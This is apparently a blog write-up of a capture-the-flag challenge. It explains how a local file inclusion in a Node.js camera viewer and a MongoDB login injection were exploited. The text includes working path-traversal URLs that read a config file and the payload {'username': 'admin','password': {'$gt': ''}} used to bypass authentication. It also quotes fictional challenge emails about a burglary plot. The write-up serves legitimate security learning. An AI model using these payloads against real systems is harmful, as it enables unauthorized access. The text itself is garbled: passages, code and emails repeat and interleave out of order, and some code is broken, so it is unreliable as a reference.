Super Gnome 2
JoshW and Tim gave the hints about how to solve this part of the challenge. I found the vulnerable
scripts in the gnome/www/routes/index.js file. The particular vulnerability in this gnome was in the
camera viewer. It allowed for a local file inclusion. There were two problems: One) The attacker had
to bypass the extension check. Two) The attacker had to target a directory that they had permission to
access.
Cam Viewer Code:
router.get('/cam', function(req, res, next) {
var camera = unescape(req.query.camera);
// check for .png
//if (camera.indexOf('.png') == -1) // STUART: Removing this...I think this is a better solution... right? camera = camera + '.png'; // add .png if its not found
console.log("Cam:" + camera);
fs.access('./public/images/' + camera, fs.F_OK | fs.R_OK, function(e) {
if (e) {
res.end('File ./public/images/' + camera + ' does not exist or access denied!');
} });
fs.readFile('./public/images/' + camera, function (e, data) { res.end(data);
}); });
Tim gave the hint that LFI's are useful with file upload features. I looked at the settings upload code. The settings upload code allows me to make a directory. It is also supposed to accept a file, but this code is broken. The directory is made, however, the file is not really uploaded. In this case, the attacker has to get out of the /gnome/www/public/upload/<new random directory> directories.
Settings Upload Code:
router.post('/settings', function(req, res, next) {
if (sessions[sessionid].logged_in === true && sessions[sessionid].user_level > 99) { // AUGGIE:
settings upload allowed for admins (admins are 100, currently)
var filen = req.body.filen;
var dirname = '/gnome/www/public/upload/' + newdir() + '/' + filen; var msgs = [];
var free = 0;
disk.check('/', function(e, info) {
free = info.free; });
try {
fs.mknewdir(dirname.substr(0,dirname.lastIndexOf('/')));
msgs.push('Dir ' + dirname.substr(0,dirname.lastIndexOf('/')) + '/ created successfully!');
} catch(e) {
if (e.code != 'EEXIST')
throw e; }
if (free < 99999999999) { // AUGGIE: I think this is breaking uploads? Stuart why did you set this so high?
msgs.push('Insufficient space! File creation error!'); }
res.msgs = msgs;
next(); } else
res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[sessionid], res: res }); });
In order to exploit the LFI, the attacker had to make a directory named .png. It can be done because hidden directories/files in Linux are started with a “.”. The file upload adds a random directory. All the attacker had to do was to make note of the directory structure and use “../”'s to move out of the unnecessary directories. The attacker could use trial and error until they got the file that they wanted. The directory that worked for me was:
http://52.34.3.80/cam?camera=../../../../../../../gnome/www/public/upload/LUbQRcPB/abcde/bob.png/../../../../../../../gnome/www/files/gnome.conf
This on also worked for me. (I lost the config file and had to re-exploit it.)
http://52.34.3.80/cam? camera=../../../../../../../gnome/www/public/upload/sCzEsNoM//.png/../../../../../../../gnome/www/files/gnome.conf
As a follow-up to our phone conversation, we'd like to proceed with an order of parts for our upcoming product line. We'll need two million of each of the following components:
+ Ambarella S2Lm IP Camera Processor System-on-Chip (with an ARM Cortex A9 CPU and Linux SDK)
+ ON Semiconductor AR0330: 3 MP 1/3" CMOS Digital Image Sensor + Atheros AR6233X Wi-Fi adapter
+ Texas Instruments TPS65053 switching power supply
} catch(e) {
if (e.code != 'EEXIST')
throw e; }
if (free < 99999999999) { // AUGGIE: I think this is breaking uploads? Stuart why did you set this so high?
msgs.push('Insufficient space! File creation error!'); }
res.msgs = msgs;
next(); } else
res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[sessionid], res: res }); });
In order to exploit the LFI, the attacker had to make a directory named .png. It can be done because hidden directories/files in Linux are started with a “.”. The file upload adds a random directory. All the attacker had to do was to make note of the directory structure and use “../”'s to move out of the unnecessary directories. The attacker could use trial and error until they got the file that they wanted. The directory that worked for me was:
http://52.34.3.80/cam?camera=../../../../../../../gnome/www/public/upload/LUbQRcPB/abcde/bob.png/../../../../../../../gnome/www/files/gnome.conf
This on also worked for me. (I lost the config file and had to re-exploit it.)
http://52.34.3.80/cam? camera=../../../../../../../gnome/www/public/upload/sCzEsNoM//.png/../../../../../../../gnome/www/files/gnome.conf
E-Mail 2
Maratha,
As a follow-up to our phone conversation, we'd like to proceed with an order of parts for our upcoming product line. We'll need two million of each of the following components:
+ Ambarella S2Lm IP Camera Processor System-on-Chip (with an ARM Cortex A9 CPU and Linux SDK)
+ ON Semiconductor AR0330: 3 MP 1/3" CMOS Digital Image Sensor + Atheros AR6233X Wi-Fi adapter
+ Texas Instruments TPS65053 switching power supply
+ Samsung K4B2G16460 2GB SSDR3 SDRAM
+ Samsung K9F1G08U0D 1GB NAND Flash
Given the volume of this purchase, we fully expect the 35% discount you mentioned during our phone discussion. If you cannot agree to this pricing, we'll place our order elsewhere.
We need delivery of components to begin no later than April 1, 2015, with 250,000 units coming each week, with all of them arriving no later than June 1, 2015.
Finally, as you know, this project requires the utmost secrecy. Tell NO ONE about our order, especially any nosy law enforcement authorities.
Regards, -CW
The vulnerable code for Super Gnome 3 is in the login code.
router.post('/', function(req, res, next) { var db = req.db;
var msgs = [];
{db.get('users').findOne({username: req.body.username, password: req.body.password}, function (err,
// STUART: Removed this in favor of below. Really guys?
//db.get('users').findOne({username: (req.body.username || "").toString(10), password:
(req.body.password || "").toString(10)}, function (err, user) { // LOUISE: allow passwords longer than 10 chars
if (err || !user) {
console.log('Invalid username and password: ' + req.body.username + '/' + req.body.password); msgs.push('Invalid username or password!');
res.msgs = msgs;
res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[req.cookies.sessionid],
res: res }); } else {
sessionid = gen_session();
sessions[sessionid] = { username: user.username, logged_in: true, user_level: user.user_level }; console.log("User level:" + user.user_level);
res.cookie('sessionid', sessionid);
res.writeHead(301,{ Location: '/' });
res.end();
} });
Given the volume of this purchase, we fully expect the 35% discount you mentioned during our phone discussion. If you cannot agree to this pricing, we'll place our order elsewhere.
We need delivery of components to begin no later than April 1, 2015, with 250,000 units coming each week, with all of them arriving no later than June 1, 2015.
Finally, as you know, this project requires the utmost secrecy. Tell NO ONE about our order, especially any nosy law enforcement authorities.
Regards, -CW
Super Gnome 3
router.post('/', function(req, res, next) { var db = req.db;
var msgs = [];
{db.get('users').findOne({username: req.body.username, password: req.body.password}, function (err,
user)});
(req.body.password || "").toString(10)}, function (err, user) { // LOUISE: allow passwords longer than 10 chars
if (err || !user) {
console.log('Invalid username and password: ' + req.body.username + '/' + req.body.password); msgs.push('Invalid username or password!');
res.msgs = msgs;
res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[req.cookies.sessionid],
res: res }); } else {
sessionid = gen_session();
sessions[sessionid] = { username: user.username, logged_in: true, user_level: user.user_level }; console.log("User level:" + user.user_level);
res.cookie('sessionid', sessionid);
res.writeHead(301,{ Location: '/' });
res.end();
} });
The hint given to exploit this vulnerability was given by Dan. The answer to this challenge was found
in Petko D. Petkov’s article on MongoDB injection. The difference between his example and this
problem was that he used the “find” parameter in the database query, and not the “findOne” parameter.
The difference between “find” and “findOne” is that “find” returns more than one record. “findOne”
only returns one record. The problem with this query is that it allows not only strings to be sent to the
database, but objects as well. I can change the nature of the query so that either the username or the
password evaluates to true, meaning that I don't need a password. However, just because I'm logged in
does not mean that I have admin privileges. I could also specify a particular username. So, If I for
instance, specify “admin” and have the password return “true”, then I can log in as an admin without a
password. The problem is finding the administrator user name. It is not always, “Administrator” or
“Admin”. In this case, the username was “admin”. I typed the Content-Type:application/json in the
POST query headers. I typed the following query into the body of the POST query. I actually kept
getting error messages using Burp suite. I had the right idea, but I had to try the exploit more than
once.
{"username": "admin","password": {"$gt": ""}}
From: "c" <c@atnascorp.com>
To: <burglerlackeys@atnascorp.com>
Subject: All Systems Go for Dec 24, 2015
Date: Tue, 1 Dec 2015 11:33:56 -0500
Message-ID: <005501d12c56$12bf6dc0$383e4940$@atnascorp.com> MIME-Version: 1.0
Content-Type: multipart/alternative; .boundary="----=_NextPart_000_0056_01D12C2C.29E9B3E0" X-Mailer: Microsoft Outlook 15.0
Thread-Index: AdEsVeghqBzCbZs7SUyM8aoCkrx6Ow== Content-Language: en-us
This is a multipart message in MIME format.
------=_NextPart_000_0056_01D12C2C.29E9B3E0 Content-Type: text/plain;
.charset="us-ascii"
Content-Transfer-Encoding: 7bit
My Burgling Friends,
Our long-running plan is nearly complete, and I'm writing to share the date
when your thieving will commence! On the morning of December 24, 2015, each individual burglar on this email list will receive a detailed itinerary of
specific houses and an inventory of items to steal from each house, along
{"username": "admin","password": {"$gt": ""}}
E-Mail 3
From: "c" <c@atnascorp.com>
To: <burglerlackeys@atnascorp.com>
Subject: All Systems Go for Dec 24, 2015
Date: Tue, 1 Dec 2015 11:33:56 -0500
Message-ID: <005501d12c56$12bf6dc0$383e4940$@atnascorp.com> MIME-Version: 1.0
Content-Type: multipart/alternative; .boundary="----=_NextPart_000_0056_01D12C2C.29E9B3E0" X-Mailer: Microsoft Outlook 15.0
Thread-Index: AdEsVeghqBzCbZs7SUyM8aoCkrx6Ow== Content-Language: en-us
This is a multipart message in MIME format.
------=_NextPart_000_0056_01D12C2C.29E9B3E0 Content-Type: text/plain;
.charset="us-ascii"
Content-Transfer-Encoding: 7bit
My Burgling Friends,
Our long-running plan is nearly complete, and I'm writing to share the date
when your thieving will commence! On the morning of December 24, 2015, each individual burglar on this email list will receive a detailed itinerary of
specific houses and an inventory of items to steal from each house, along
with still photos of where to locate each item. The message will also
include a specific path optimized for you to hit your assigned houses
quickly and efficiently the night of December 24, 2015 after dark.
Further, we've selected the items to steal based on a detailed analysis of
what commands the highest prices on the hot-items open market. I caution you - steal only the items included on the list. DO NOT waste time grabbing anything else from a house. There's no sense whatsoever grabbing crumbs too small for a mouse!
As to the details of the plan, remember to wear the Santa suit we provided you, and bring the extra large bag for all your stolen goods.
If any children observe you in their houses that night, remember to tell them that you are actually "Santy Claus", and that you need to send the specific items you are taking to your workshop for repair. Describe it in a very friendly manner, get the child a drink of water, pat him or her on the head, and send the little moppet back to bed. Then, finish the deed, and get out of there. It's all quite simple - go to each house, grab the loot,
and return it to the designated drop-off area so we can resell it. And, above all, avoid Mount Crumpit!
As we agreed, we'll split the proceeds from our sale 50-50 with each burglar.
Oh, and I've heard that many of you are asking where the name ATNAS comes from. Why, it's reverse SANTA, of course. Instead of bringing presents on Christmas, we'll be stealing them!
Thank you for your partnership in this endeavor. Signed:
-CLW
President and CEO of ATNAS Corporation
Further, we've selected the items to steal based on a detailed analysis of
what commands the highest prices on the hot-items open market. I caution you - steal only the items included on the list. DO NOT waste time grabbing anything else from a house. There's no sense whatsoever grabbing crumbs too small for a mouse!
As to the details of the plan, remember to wear the Santa suit we provided you, and bring the extra large bag for all your stolen goods.
If any children observe you in their houses that night, remember to tell them that you are actually "Santy Claus", and that you need to send the specific items you are taking to your workshop for repair. Describe it in a very friendly manner, get the child a drink of water, pat him or her on the head, and send the little moppet back to bed. Then, finish the deed, and get out of there. It's all quite simple - go to each house, grab the loot,
and return it to the designated drop-off area so we can resell it. And, above all, avoid Mount Crumpit!
As we agreed, we'll split the proceeds from our sale 50-50 with each burglar.
Oh, and I've heard that many of you are asking where the name ATNAS comes from. Why, it's reverse SANTA, of course. Instead of bringing presents on Christmas, we'll be stealing them!
Thank you for your partnership in this endeavor. Signed:
-CLW
President and CEO of ATNAS Corporation
No comments:
Post a Comment